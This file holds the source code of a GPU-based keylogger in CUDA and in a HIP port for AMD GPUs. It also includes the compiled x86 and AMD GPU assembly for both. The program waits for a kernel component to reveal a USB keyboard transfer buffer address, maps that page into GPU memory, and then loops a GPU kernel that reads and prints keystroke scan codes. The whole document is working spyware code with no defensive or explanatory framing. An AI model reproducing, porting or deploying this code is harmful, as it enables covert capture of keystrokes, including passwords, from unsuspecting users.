#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <cuda_runtime.h>

#define WRITE_PAGE	0x40000000
#define SEND_BUFFER	0x50000000

__global__ void keylogger(unsigned long *A, unsigned long *B)
{
	B[0] = A[0];
}
int main(void)
{
	int i,offset;
	cudaError_t err = cudaSuccess;
	unsigned long *u_keybd_buf,*u_scan_buf;
	unsigned long *scan_buf,*keybd_buf;
	unsigned long *p, *p2;
	
	cudaSetDeviceFlags(cudaDeviceMapHost);
	cudaHostAlloc((void **)&scan_buf, 0x1000, cudaHostAllocMapped);

	// Allocat memory
	p = (unsigned long *)mmap((void *)WRITE_PAGE,0x1000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,NULL);  // modify page table
	p2 = (unsigned long *)mmap((void *)SEND_BUFFER,0x1000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,NULL);  // transfer_buffer

	// remove dummy data in memory (1)
	for( i = 0; i < 0x200; i++ ){
		p[i] = 0x7777777777777777;
		p2[i] = 0x7777777777777777;
	}
	
	// Wait until the kernel writes a urbp->transfer_buffer to this address.
	memset( p2, 0, 0x1000 );
	while( p2[0] == 0 ){
		usleep( 500000 );
	}
	
	// When a value is returned from the kernel, urbp->transfer_buffer stored in p2[0].
	printf("transfer_buffer : %llX\n", p2[0] );
	offset = p2[0] & 0xfff;
	// This mean is that p2 is not exist in host process memory.
	munmap(p2, 0x1000);

	// Allocate memory on the device.
	cudaMalloc(&u_scan_buf,512);	
	// Registers an existing host memory range for use by CUDA.
	cudaHostRegister((void *)WRITE_PAGE, 0x1000, cudaHostRegisterMapped);	
	
	// Passes back device pointer of mapped host memory allocated by cudaHostAlloc or registered by cudaHostRegister.
	cudaHostGetDevicePointer((void **)&u_keybd_buf,(void *)(WRITE_PAGE+offset),0);	// cudaHostGetDevicePointer ( void** pDevice, void* pHost, unsigned int  flags )
	
	// This mean is that p(keyboard_buffer) is not exist in host process memory.
	munmap(p, 0x1000);

	// Finally, Capturing Keystrokes
	while(1){
		keylogger<<<1, 1>>>(u_keybd_buf, u_scan_buf);
		cudaThreadSynchronize();
		err = cudaGetLastError();
		if (err != cudaSuccess){
	        	printf("Failed (error : %s)!\n", cudaGetErrorString(err));
	        	exit(EXIT_FAILURE);
    		}
		// Copies data between host and device.
		cudaMemcpy(scan_buf,u_scan_buf,8,cudaMemcpyDeviceToHost);
		printf("%llX\n",scan_buf[0]);
		usleep(80000);
	}
	cudaThreadExit();
	return 0;
}


	.file	"tmpxft_0037f25e_00000000-6_main.cudafe1.cpp"
	.text
#APP

#NO_APP
	.type	_ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2047:
	.cfi_startproc
	endbr64
	movq	_ZL20__cudaFatCubinHandle(%rip), %rdi
	jmp	__cudaUnregisterFatBinary@PLT
	.cfi_endproc
.LFE2047:
	.size	_ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
	.globl	_Z30__device_stub__Z9keyloggerPmS_PmS_
	.type	_Z30__device_stub__Z9keyloggerPmS_PmS_, @function
_Z30__device_stub__Z9keyloggerPmS_PmS_:
.LFB2069:
	.cfi_startproc
	endbr64
	subq	$120, %rsp
	.cfi_def_cfa_offset 128
	movq	%rdi, 8(%rsp)
	leaq	32(%rsp), %rcx
	leaq	24(%rsp), %rdx
	movq	%rsi, (%rsp)
	leaq	40(%rsp), %rdi
	leaq	52(%rsp), %rsi
	movq	%fs:40, %rax
	movq	%rax, 104(%rsp)
	xorl	%eax, %eax
	leaq	8(%rsp), %rax
	movl	$1, 48(%rsp)
	movq	%rax, 88(%rsp)
	movq	%rsp, %rax
	movq	%rax, 96(%rsp)
	movabsq	$4294967297, %rax
	movq	%rax, 40(%rsp)
	movq	%rax, 52(%rsp)
	movl	$1, 60(%rsp)
	call	__cudaPopCallConfiguration@PLT
	testl	%eax, %eax
	jne	.L2
	pushq	32(%rsp)
	.cfi_def_cfa_offset 136
	leaq	_Z9keyloggerPmS_(%rip), %rdi
	pushq	32(%rsp)
	.cfi_def_cfa_offset 144
	movq	68(%rsp), %rcx
	movl	76(%rsp), %r8d
	movq	56(%rsp), %rsi
	movl	64(%rsp), %edx
	leaq	104(%rsp), %r9
	call	cudaLaunchKernel@PLT
	popq	%rax
	.cfi_def_cfa_offset 136
	popq	%rdx
	.cfi_def_cfa_offset 128
.L2:
	movq	104(%rsp), %rax
	subq	%fs:40, %rax
	je	.L4
	call	__stack_chk_fail@PLT
.L4:
	addq	$120, %rsp
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE2069:
	.size	_Z30__device_stub__Z9keyloggerPmS_PmS_, .-_Z30__device_stub__Z9keyloggerPmS_PmS_
	.globl	_Z9keyloggerPmS_
	.type	_Z9keyloggerPmS_, @function
_Z9keyloggerPmS_:
.LFB2070:
	.cfi_startproc
	endbr64
	jmp	_Z30__device_stub__Z9keyloggerPmS_PmS_
	.cfi_endproc
.LFE2070:
	.size	_Z9keyloggerPmS_, .-_Z9keyloggerPmS_
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"transfer_buffer : %llX\n"
.LC1:
	.string	"Failed (error : %s)!\n"
.LC2:
	.string	"%llX\n"
	.section	.text.startup,"ax",@progbits
	.globl	main
	.type	main, @function
main:
.LFB2044:
	.cfi_startproc
	endbr64
	pushq	%r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	movl	$8, %edi
	pushq	%rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	pushq	%rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	subq	$64, %rsp
	.cfi_def_cfa_offset 96
	movq	%fs:40, %rax
	movq	%rax, 56(%rsp)
	xorl	%eax, %eax
	call	cudaSetDeviceFlags@PLT
	leaq	24(%rsp), %rdi
	movl	$2, %edx
	movl	$4096, %esi
	call	cudaHostAlloc@PLT
	xorl	%r9d, %r9d
	orl	$-1, %r8d
	movl	$50, %ecx
	movl	$3, %edx
	movl	$4096, %esi
	movl	$1073741824, %edi
	call	mmap@PLT
	xorl	%r9d, %r9d
	orl	$-1, %r8d
	movl	$50, %ecx
	movl	$3, %edx
	movl	$4096, %esi
	movl	$1342177280, %edi
	movq	%rax, %rbp
	call	mmap@PLT
	movq	%rax, %rbx
	leaq	4095(%rbp), %rax
	subq	%rbx, %rax
	cmpq	$8190, %rax
	jbe	.L17
	movl	$4096, %ecx
	movb	$119, %al
	movq	%rbp, %rdi
	rep stosb
	jmp	.L10
.L17:
	movabsq	$8608480567731124087, %rdx
	xorl	%eax, %eax
.L9:
	movq	%rdx, 0(%rbp,%rax)
	movq	%rdx, (%rbx,%rax)
	addq	$8, %rax
	cmpq	$4096, %rax
	jne	.L9
.L10:
	movl	$1024, %ecx
	xorl	%eax, %eax
	movq	%rbx, %rdi
	rep stosl
.L11:
	movq	(%rbx), %rdx
	testq	%rdx, %rdx
	jne	.L20
	movl	$500000, %edi
	call	usleep@PLT
	jmp	.L11
.L20:
	leaq	.LC0(%rip), %rsi
	movl	$2, %edi
	xorl	%eax, %eax
	call	__printf_chk@PLT
	movl	(%rbx), %r12d
	movq	%rbx, %rdi
	movl	$4096, %esi
	call	munmap@PLT
	leaq	16(%rsp), %rdi
	movl	$512, %esi
	movabsq	$4294967297, %rbx
	call	cudaMalloc@PLT
	movl	$2, %edx
	movl	$4096, %esi
	movl	$1073741824, %edi
	call	cudaHostRegister@PLT
	andl	$4095, %r12d
	leaq	8(%rsp), %rdi
	xorl	%edx, %edx
	leal	1073741824(%r12), %esi
	movslq	%esi, %rsi
	call	cudaHostGetDevicePointer@PLT
	movl	$4096, %esi
	movq	%rbp, %rdi
	call	munmap@PLT
.L15:
	xorl	%r9d, %r9d
	xorl	%r8d, %r8d
	movq	%rbx, %rdx
	movl	$1, %ecx
	movq	%rbx, %rdi
	movl	$1, %esi
	movq	%rbx, 44(%rsp)
	movl	$1, 52(%rsp)
	movq	%rbx, 32(%rsp)
	movl	$1, 40(%rsp)
	call	__cudaPushCallConfiguration@PLT
	testl	%eax, %eax
	jne	.L13
	movq	16(%rsp), %rsi
	movq	8(%rsp), %rdi
	call	_Z30__device_stub__Z9keyloggerPmS_PmS_
.L13:
	call	cudaThreadSynchronize@PLT
	call	cudaGetLastError@PLT
	movl	%eax, %edi
	testl	%eax, %eax
	je	.L14
	call	cudaGetErrorString@PLT
	movl	$2, %edi
	leaq	.LC1(%rip), %rsi
	movq	%rax, %rdx
	xorl	%eax, %eax
	call	__printf_chk@PLT
	movl	$1, %edi
	call	exit@PLT
.L14:
	movq	16(%rsp), %rsi
	movq	24(%rsp), %rdi
	movl	$2, %ecx
	movl	$8, %edx
	call	cudaMemcpy@PLT
	movq	24(%rsp), %rax
	movl	$2, %edi
	leaq	.LC2(%rip), %rsi
	movq	(%rax), %rdx
	xorl	%eax, %eax
	call	__printf_chk@PLT
	movl	$80000, %edi
	call	usleep@PLT
	jmp	.L15
	.cfi_endproc
.LFE2044:
	.size	main, .-main
	.section	.rodata.str1.1
.LC3:
	.string	"_Z9keyloggerPmS_"
	.section	.text.startup
	.type	_ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2072:
	.cfi_startproc
	endbr64
	pushq	%rax
	.cfi_def_cfa_offset 16
	leaq	_ZL15__fatDeviceText(%rip), %rdi
	call	__cudaRegisterFatBinary@PLT
	pushq	$0
	.cfi_def_cfa_offset 24
	xorl	%r9d, %r9d
	orl	$-1, %r8d
	pushq	$0
	.cfi_def_cfa_offset 32
	leaq	.LC3(%rip), %rdx
	movq	%rax, %rdi
	leaq	_Z9keyloggerPmS_(%rip), %rsi
	pushq	$0
	.cfi_def_cfa_offset 40
	movq	%rdx, %rcx
	pushq	$0
	.cfi_def_cfa_offset 48
	movq	%rax, _ZL20__cudaFatCubinHandle(%rip)
	call	__cudaRegisterFunction@PLT
	movq	_ZL20__cudaFatCubinHandle(%rip), %rdi
	addq	$32, %rsp
	.cfi_def_cfa_offset 16
	call	__cudaRegisterFatBinaryEnd@PLT
	leaq	_ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
	popq	%rdx
	.cfi_def_cfa_offset 8
	jmp	atexit@PLT
	.cfi_endproc
.LFE2072:
	.size	_ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
	.section	.init_array,"aw"
	.align 8
	.quad	_ZL24__sti____cudaRegisterAllv
	.section	.nvFatBinSegment,"aw"
	.align 8
	.type	_ZL15__fatDeviceText, @object
	.size	_ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
	.long	1180844977
	.long	1
	.quad	fatbinData
	.quad	0
	.local	_ZL20__cudaFatCubinHandle
	.comm	_ZL20__cudaFatCubinHandle,8,8
	.ident	"GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	1f - 0f
	.long	4f - 1f
	.long	5
0:
	.string	"GNU"
1:
	.align 8
	.long	0xc0000002
	.long	3f - 2f
2:
	.long	0x3
3:
	.align 8
4:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <hip/hip_runtime.h>

#define WRITE_PAGE	0x40000000
#define SEND_BUFFER	0x50000000

__global__ void keylogger(unsigned long *A, unsigned long *B)
{
	B[0] = A[0];
}
int main(void)
{
	int i,offset;
	hipError_t err = hipSuccess;
	unsigned long *u_keybd_buf,*u_scan_buf;
	unsigned long *scan_buf,*keybd_buf;
	unsigned long *p, *p2;
	
	hipSetDeviceFlags(hipDeviceMapHost);
	hipHostAlloc((void **)&scan_buf, 0x1000, hipHostMallocMapped);

	// Allocat memory
	p = (unsigned long *)mmap((void *)WRITE_PAGE,0x1000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,NULL);  // modify page table
	p2 = (unsigned long *)mmap((void *)SEND_BUFFER,0x1000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,NULL);  // transfer_buffer

	// remove dummy data in memory (1)
	for( i = 0; i < 0x200; i++ ){
		p[i] = 0x7777777777777777;
		p2[i] = 0x7777777777777777;
	}
	
	// Wait until the kernel writes a urbp->transfer_buffer to this address.
	memset( p2, 0, 0x1000 );
	while( p2[0] == 0 ){
		usleep( 500000 );
	}
	
	// When a value is returned from the kernel, urbp->transfer_buffer stored in p2[0].
	printf("transfer_buffer : %llX\n", p2[0] );
	offset = p2[0] & 0xfff;
	// This mean is that p2 is not exist in host process memory.
	munmap(p2, 0x1000);

	// Allocate memory on the device.
	hipMalloc(&u_scan_buf,512);	
	// Registers an existing host memory range for use by CUDA.
	hipHostRegister((void *)WRITE_PAGE, 0x1000, hipHostRegisterMapped);	
	
	// Passes back device pointer of mapped host memory allocated by cudaHostAlloc or registered by cudaHostRegister.
	hipHostGetDevicePointer((void **)&u_keybd_buf,(void *)(WRITE_PAGE+offset),0);	// cudaHostGetDevicePointer ( void** pDevice, void* pHost, unsigned int  flags )
	
	// This mean is that p(keyboard_buffer) is not exist in host process memory.
	munmap(p, 0x1000);

	// Finally, Capturing Keystrokes
	while(1){
		keylogger<<<1, 1>>>(u_keybd_buf, u_scan_buf);
		hipDeviceSynchronize();
		err = hipGetLastError();
		if (err != hipSuccess){
	        	printf("Failed (error : %s)!\n", hipGetErrorString(err));
	        	exit(EXIT_FAILURE);
    		}
		// Copies data between host and device.
		hipMemcpy(scan_buf,u_scan_buf,8,hipMemcpyDeviceToHost);
		printf("%llX\n",scan_buf[0]);
		usleep(80000);
	}
	hipDeviceReset();
	return 0;
}


	.text
	.file	"main.hip"
	.globl	_Z24__device_stub__keyloggerPmS_ # -- Begin function _Z24__device_stub__keyloggerPmS_
	.type	_Z24__device_stub__keyloggerPmS_,@function
_Z24__device_stub__keyloggerPmS_:       # @_Z24__device_stub__keyloggerPmS_
	.cfi_startproc
# %bb.0:
	pushq	%r15
	.cfi_def_cfa_offset 16
	pushq	%r14
	.cfi_def_cfa_offset 24
	pushq	%r13
	.cfi_def_cfa_offset 32
	pushq	%r12
	.cfi_def_cfa_offset 40
	pushq	%rbx
	.cfi_def_cfa_offset 48
	subq	$80, %rsp
	.cfi_def_cfa_offset 128
	.cfi_offset %rbx, -48
	.cfi_offset %r12, -40
	.cfi_offset %r13, -32
	.cfi_offset %r14, -24
	.cfi_offset %r15, -16
	leaq	24(%rsp), %rax
	movq	%rdi, (%rax)
	leaq	16(%rsp), %rcx
	movq	%rsi, (%rcx)
	leaq	64(%rsp), %rbx
	movq	%rax, (%rbx)
	movq	%rcx, 8(%rbx)
	leaq	48(%rsp), %r14
	leaq	32(%rsp), %r15
	leaq	8(%rsp), %r12
	movq	%rsp, %r13
	movq	%r14, %rdi
	movq	%r15, %rsi
	movq	%r12, %rdx
	movq	%r13, %rcx
	callq	__hipPopCallConfiguration
	movq	(%r14), %rsi
	movl	8(%r14), %edx
	movq	(%r15), %rcx
	movl	8(%r15), %r8d
	movl	$_Z9keyloggerPmS_, %edi
	movq	%rbx, %r9
	pushq	(%r13)
	.cfi_adjust_cfa_offset 8
	pushq	(%r12)
	.cfi_adjust_cfa_offset 8
	callq	hipLaunchKernel
	addq	$96, %rsp
	.cfi_adjust_cfa_offset -96
	popq	%rbx
	.cfi_def_cfa_offset 40
	popq	%r12
	.cfi_def_cfa_offset 32
	popq	%r13
	.cfi_def_cfa_offset 24
	popq	%r14
	.cfi_def_cfa_offset 16
	popq	%r15
	.cfi_def_cfa_offset 8
	retq
.Lfunc_end0:
	.size	_Z24__device_stub__keyloggerPmS_, .Lfunc_end0-_Z24__device_stub__keyloggerPmS_
	.cfi_endproc
                                        # -- End function
	.globl	main                            # -- Begin function main
	.type	main,@function
main:                                   # @main
	.cfi_startproc
# %bb.0:
	pushq	%r15
	.cfi_def_cfa_offset 16
	pushq	%r14
	.cfi_def_cfa_offset 24
	pushq	%r12
	.cfi_def_cfa_offset 32
	pushq	%rbx
	.cfi_def_cfa_offset 40
	subq	$24, %rsp
	.cfi_def_cfa_offset 64
	.cfi_offset %rbx, -40
	.cfi_offset %r12, -32
	.cfi_offset %r14, -24
	.cfi_offset %r15, -16
	movabsq	$8608480567731124087, %rbx      # imm = 0x7777777777777777
	movl	$8, %edi
	callq	hipSetDeviceFlags
	movq	%rsp, %rdi
	movl	$4096, %esi                     # imm = 0x1000
	movl	$2, %edx
	callq	hipHostAlloc
	xorl	%r12d, %r12d
	movl	$1073741824, %edi               # imm = 0x40000000
	movl	$4096, %esi                     # imm = 0x1000
	movl	$3, %edx
	movl	$50, %ecx
	movl	$-1, %r8d
	xorl	%r9d, %r9d
	callq	mmap
	movq	%rax, %r14
	movl	$1342177280, %edi               # imm = 0x50000000
	movl	$4096, %esi                     # imm = 0x1000
	movl	$3, %edx
	movl	$50, %ecx
	movl	$-1, %r8d
	xorl	%r9d, %r9d
	callq	mmap
	movq	%rax, %r15
.LBB1_1:                                # =>This Inner Loop Header: Depth=1
	movq	%rbx, (%r14,%r12,8)
	movq	%rbx, (%r15,%r12,8)
	incq	%r12
	cmpq	$512, %r12                      # imm = 0x200
	jne	.LBB1_1
# %bb.2:
	movl	$4096, %edx                     # imm = 0x1000
	movq	%r15, %rdi
	xorl	%esi, %esi
	callq	memset@PLT
.LBB1_3:                                # =>This Inner Loop Header: Depth=1
	movl	$500000, %edi                   # imm = 0x7A120
	callq	usleep
	movq	(%r15), %rsi
	testq	%rsi, %rsi
	je	.LBB1_3
# %bb.4:
	movabsq	$4294967297, %rbx               # imm = 0x100000001
	movl	$.L.str, %edi
	xorl	%eax, %eax
	callq	printf
	movq	(%r15), %r12
	andl	$4095, %r12d                    # imm = 0xFFF
	movl	$4096, %esi                     # imm = 0x1000
	movq	%r15, %rdi
	callq	munmap
	leaq	8(%rsp), %rdi
	movl	$512, %esi                      # imm = 0x200
	callq	hipMalloc
	movl	$1073741824, %edi               # imm = 0x40000000
	movl	$4096, %esi                     # imm = 0x1000
	movl	$2, %edx
	callq	hipHostRegister
	orq	$1073741824, %r12               # imm = 0x40000000
	leaq	16(%rsp), %rdi
	movq	%r12, %rsi
	xorl	%edx, %edx
	callq	hipHostGetDevicePointer
	movl	$4096, %esi                     # imm = 0x1000
	movq	%r14, %rdi
	callq	munmap
.LBB1_5:                                # =>This Inner Loop Header: Depth=1
	movq	%rbx, %rdi
	movl	$1, %esi
	movq	%rbx, %rdx
	movl	$1, %ecx
	xorl	%r8d, %r8d
	xorl	%r9d, %r9d
	callq	__hipPushCallConfiguration
	testl	%eax, %eax
	jne	.LBB1_7
# %bb.6:                                #   in Loop: Header=BB1_5 Depth=1
	movq	16(%rsp), %rdi
	movq	8(%rsp), %rsi
	callq	_Z24__device_stub__keyloggerPmS_
.LBB1_7:                                #   in Loop: Header=BB1_5 Depth=1
	callq	hipDeviceSynchronize
	callq	hipGetLastError
	testl	%eax, %eax
	jne	.LBB1_9
# %bb.8:                                #   in Loop: Header=BB1_5 Depth=1
	movq	(%rsp), %rdi
	movq	8(%rsp), %rsi
	movl	$8, %edx
	movl	$2, %ecx
	callq	hipMemcpy
	movq	(%rsp), %rax
	movq	(%rax), %rsi
	movl	$.L.str.2, %edi
	xorl	%eax, %eax
	callq	printf
	movl	$80000, %edi                    # imm = 0x13880
	callq	usleep
	jmp	.LBB1_5
.LBB1_9:
	movl	%eax, %edi
	callq	hipGetErrorString
	movl	$.L.str.1, %edi
	movq	%rax, %rsi
	xorl	%eax, %eax
	callq	printf
	movl	$1, %edi
	callq	exit
.Lfunc_end1:
	.size	main, .Lfunc_end1-main
	.cfi_endproc
                                        # -- End function
	.p2align	4, 0x90                         # -- Begin function __hip_module_ctor
	.type	__hip_module_ctor,@function
__hip_module_ctor:                      # @__hip_module_ctor
	.cfi_startproc
# %bb.0:
	subq	$40, %rsp
	.cfi_def_cfa_offset 48
	movq	__hip_gpubin_handle(%rip), %rdi
	testq	%rdi, %rdi
	jne	.LBB2_2
# %bb.1:
	movl	$__hip_fatbin_wrapper, %edi
	callq	__hipRegisterFatBinary
	movq	%rax, %rdi
	movq	%rax, __hip_gpubin_handle(%rip)
.LBB2_2:
	xorps	%xmm0, %xmm0
	movups	%xmm0, 16(%rsp)
	movups	%xmm0, (%rsp)
	movl	$_Z9keyloggerPmS_, %esi
	movl	$.L__unnamed_1, %edx
	movl	$.L__unnamed_1, %ecx
	movl	$-1, %r8d
	xorl	%r9d, %r9d
	callq	__hipRegisterFunction
	movl	$__hip_module_dtor, %edi
	addq	$40, %rsp
	.cfi_def_cfa_offset 8
	jmp	atexit                          # TAILCALL
.Lfunc_end2:
	.size	__hip_module_ctor, .Lfunc_end2-__hip_module_ctor
	.cfi_endproc
                                        # -- End function
	.p2align	4, 0x90                         # -- Begin function __hip_module_dtor
	.type	__hip_module_dtor,@function
__hip_module_dtor:                      # @__hip_module_dtor
	.cfi_startproc
# %bb.0:
	movq	__hip_gpubin_handle(%rip), %rdi
	testq	%rdi, %rdi
	je	.LBB3_2
# %bb.1:
	pushq	%rax
	.cfi_def_cfa_offset 16
	callq	__hipUnregisterFatBinary
	movq	$0, __hip_gpubin_handle(%rip)
	addq	$8, %rsp
	.cfi_def_cfa_offset 8
.LBB3_2:
	retq
.Lfunc_end3:
	.size	__hip_module_dtor, .Lfunc_end3-__hip_module_dtor
	.cfi_endproc
                                        # -- End function
	.type	_Z9keyloggerPmS_,@object        # @_Z9keyloggerPmS_
	.section	.rodata,"a",@progbits
	.globl	_Z9keyloggerPmS_
	.p2align	3, 0x0
_Z9keyloggerPmS_:
	.quad	_Z24__device_stub__keyloggerPmS_
	.size	_Z9keyloggerPmS_, 8

	.type	.L.str,@object                  # @.str
	.section	.rodata.str1.1,"aMS",@progbits,1
.L.str:
	.asciz	"transfer_buffer : %llX\n"
	.size	.L.str, 24

	.type	.L.str.1,@object                # @.str.1
.L.str.1:
	.asciz	"Failed (error : %s)!\n"
	.size	.L.str.1, 22

	.type	.L.str.2,@object                # @.str.2
.L.str.2:
	.asciz	"%llX\n"
	.size	.L.str.2, 6

	.type	.L__unnamed_1,@object           # @0
.L__unnamed_1:
	.asciz	"_Z9keyloggerPmS_"
	.size	.L__unnamed_1, 17

	.type	__hip_fatbin_wrapper,@object    # @__hip_fatbin_wrapper
	.section	.hipFatBinSegment,"a",@progbits
	.p2align	3, 0x0
__hip_fatbin_wrapper:
	.long	1212764230                      # 0x48495046
	.long	1                               # 0x1
	.quad	__hip_fatbin
	.quad	0
	.size	__hip_fatbin_wrapper, 24

	.type	__hip_gpubin_handle,@object     # @__hip_gpubin_handle
	.local	__hip_gpubin_handle
	.comm	__hip_gpubin_handle,8,8
	.section	.init_array,"aw",@init_array
	.p2align	3, 0x0
	.quad	__hip_module_ctor
	.type	__hip_cuid_,@object             # @__hip_cuid_
	.bss
	.globl	__hip_cuid_
__hip_cuid_:
	.byte	0                               # 0x0
	.size	__hip_cuid_, 1

	.ident	"AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
	.section	".note.GNU-stack","",@progbits
	.addrsig
	.addrsig_sym _Z24__device_stub__keyloggerPmS_
	.addrsig_sym __hip_module_ctor
	.addrsig_sym __hip_module_dtor
	.addrsig_sym _Z9keyloggerPmS_
	.addrsig_sym __hip_fatbin
	.addrsig_sym __hip_fatbin_wrapper
	.addrsig_sym __hip_cuid_

	.text
	.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
	.protected	_Z9keyloggerPmS_        ; -- Begin function _Z9keyloggerPmS_
	.globl	_Z9keyloggerPmS_
	.p2align	8
	.type	_Z9keyloggerPmS_,@function
_Z9keyloggerPmS_:                       ; @_Z9keyloggerPmS_
; %bb.0:
	s_load_b128 s[0:3], s[0:1], 0x0
	s_waitcnt lgkmcnt(0)
	s_load_b64 s[0:1], s[0:1], 0x0
	v_mov_b32_e32 v2, 0
	s_waitcnt lgkmcnt(0)
	v_dual_mov_b32 v0, s0 :: v_dual_mov_b32 v1, s1
	global_store_b64 v2, v[0:1], s[2:3]
	s_nop 0
	s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
	s_endpgm
	.section	.rodata,"a",@progbits
	.p2align	6, 0x0
	.amdhsa_kernel _Z9keyloggerPmS_
		.amdhsa_group_segment_fixed_size 0
		.amdhsa_private_segment_fixed_size 0
		.amdhsa_kernarg_size 16
		.amdhsa_user_sgpr_count 15
		.amdhsa_user_sgpr_dispatch_ptr 0
		.amdhsa_user_sgpr_queue_ptr 0
		.amdhsa_user_sgpr_kernarg_segment_ptr 1
		.amdhsa_user_sgpr_dispatch_id 0
		.amdhsa_user_sgpr_private_segment_size 0
		.amdhsa_wavefront_size32 1
		.amdhsa_uses_dynamic_stack 0
		.amdhsa_enable_private_segment 0
		.amdhsa_system_sgpr_workgroup_id_x 1
		.amdhsa_system_sgpr_workgroup_id_y 0
		.amdhsa_system_sgpr_workgroup_id_z 0
		.amdhsa_system_sgpr_workgroup_info 0
		.amdhsa_system_vgpr_workitem_id 0
		.amdhsa_next_free_vgpr 3
		.amdhsa_next_free_sgpr 4
		.amdhsa_reserve_vcc 0
		.amdhsa_float_round_mode_32 0
		.amdhsa_float_round_mode_16_64 0
		.amdhsa_float_denorm_mode_32 3
		.amdhsa_float_denorm_mode_16_64 3
		.amdhsa_dx10_clamp 1
		.amdhsa_ieee_mode 1
		.amdhsa_fp16_overflow 0
		.amdhsa_workgroup_processor_mode 1
		.amdhsa_memory_ordered 1
		.amdhsa_forward_progress 0
		.amdhsa_shared_vgpr_count 0
		.amdhsa_exception_fp_ieee_invalid_op 0
		.amdhsa_exception_fp_denorm_src 0
		.amdhsa_exception_fp_ieee_div_zero 0
		.amdhsa_exception_fp_ieee_overflow 0
		.amdhsa_exception_fp_ieee_underflow 0
		.amdhsa_exception_fp_ieee_inexact 0
		.amdhsa_exception_int_div_zero 0
	.end_amdhsa_kernel
	.text
.Lfunc_end0:
	.size	_Z9keyloggerPmS_, .Lfunc_end0-_Z9keyloggerPmS_
                                        ; -- End function
	.section	.AMDGPU.csdata,"",@progbits
; Kernel info:
; codeLenInByte = 56
; NumSgprs: 4
; NumVgprs: 3
; ScratchSize: 0
; MemoryBound: 1
; FloatMode: 240
; IeeeMode: 1
; LDSByteSize: 0 bytes/workgroup (compile time only)
; SGPRBlocks: 0
; VGPRBlocks: 0
; NumSGPRsForWavesPerEU: 4
; NumVGPRsForWavesPerEU: 3
; Occupancy: 16
; WaveLimiterHint : 1
; COMPUTE_PGM_RSRC2:SCRATCH_EN: 0
; COMPUTE_PGM_RSRC2:USER_SGPR: 15
; COMPUTE_PGM_RSRC2:TRAP_HANDLER: 0
; COMPUTE_PGM_RSRC2:TGID_X_EN: 1
; COMPUTE_PGM_RSRC2:TGID_Y_EN: 0
; COMPUTE_PGM_RSRC2:TGID_Z_EN: 0
; COMPUTE_PGM_RSRC2:TIDIG_COMP_CNT: 0
	.text
	.p2alignl 7, 3214868480
	.fill 96, 4, 3214868480
	.type	__hip_cuid_,@object             ; @__hip_cuid_
	.section	.bss,"aw",@nobits
	.globl	__hip_cuid_
__hip_cuid_:
	.byte	0                               ; 0x0
	.size	__hip_cuid_, 1

	.ident	"AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
	.section	".note.GNU-stack","",@progbits
	.addrsig
	.addrsig_sym __hip_cuid_
	.amdgpu_metadata
---
amdhsa.kernels:
  - .args:
      - .address_space:  global
        .offset:         0
        .size:           8
        .value_kind:     global_buffer
      - .address_space:  global
        .offset:         8
        .size:           8
        .value_kind:     global_buffer
    .group_segment_fixed_size: 0
    .kernarg_segment_align: 8
    .kernarg_segment_size: 16
    .language:       OpenCL C
    .language_version:
      - 2
      - 0
    .max_flat_workgroup_size: 1024
    .name:           _Z9keyloggerPmS_
    .private_segment_fixed_size: 0
    .sgpr_count:     4
    .sgpr_spill_count: 0
    .symbol:         _Z9keyloggerPmS_.kd
    .uniform_work_group_size: 1
    .uses_dynamic_stack: false
    .vgpr_count:     3
    .vgpr_spill_count: 0
    .wavefront_size: 32
    .workgroup_processor_mode: 1
amdhsa.target:   amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
  - 1
  - 2
...

	.end_amdgpu_metadata
